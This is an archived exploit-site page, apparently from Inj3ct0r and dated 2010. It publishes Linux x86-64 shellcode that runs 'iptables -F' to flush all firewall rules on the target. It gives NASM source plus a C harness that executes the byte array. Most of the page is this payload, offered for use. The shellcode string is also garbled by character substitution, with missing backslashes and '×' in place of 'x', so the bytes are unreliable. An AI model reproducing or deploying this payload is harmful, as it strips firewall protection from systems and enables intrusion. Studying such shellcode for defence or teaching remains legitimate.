<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>linux/x86-64 execve (&quot;/sbin/iptables&quot;, [&quot;/sbin/iptables&quot;, &quot;-F&quot;], NULL)</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=================================================================================
linux/x86-64 execve (&quot;/sbin/iptables&quot;, [&quot;/sbin/iptables&quot;, &quot;-F&quot;], NULL) – 49 bytes
=================================================================================

/*
Title: Linux/x86-64 – execve(&quot;/sbin/iptables&quot;, [&quot;/sbin/iptables&quot;, &quot;-F&quot;], NULL) – 49 bytes
Author: 10n1z3d &lt;10n1z3d[at]w[dot]cn&gt;
Date: Fri 09 Jul 2010 03:26:12 PM EEST

Source Code (NASM):

section .text
global _start

_start:
xor rax, rax
push rax
push word 0×462d
mov rcx, rsp

mov rbx, 0×73656c626174ffff
shr rbx, 0×10
push rbx
mov rbx, 0×70692f6e6962732f
push rbx
mov rdi, rsp

push rax
push rcx
push rdi
mov rsi, rsp

; execve(&quot;/sbin/iptables&quot;, [&quot;/sbin/iptables&quot;, &quot;-F&quot;], NULL);
mov al, 0×3b
syscall
*/

#include &lt;stdio.h&gt;

char shellcode[] = &quot;x48×31xc0×50x66×68x2dx46×48x89xe1×48xbbxffxff&quot;
&quot;x74×61x62×6cx65×73x48xc1xebx10×53x48xbbx2fx73&quot;
&quot;x62×69x2fx69×70x53×48x89xe7×50x51×57x48×89xe6&quot;
&quot;xb0×3bx0fx05&quot;;

int main()
{
printf(&quot;Length: %d bytes.n’&quot;, strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-09]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13269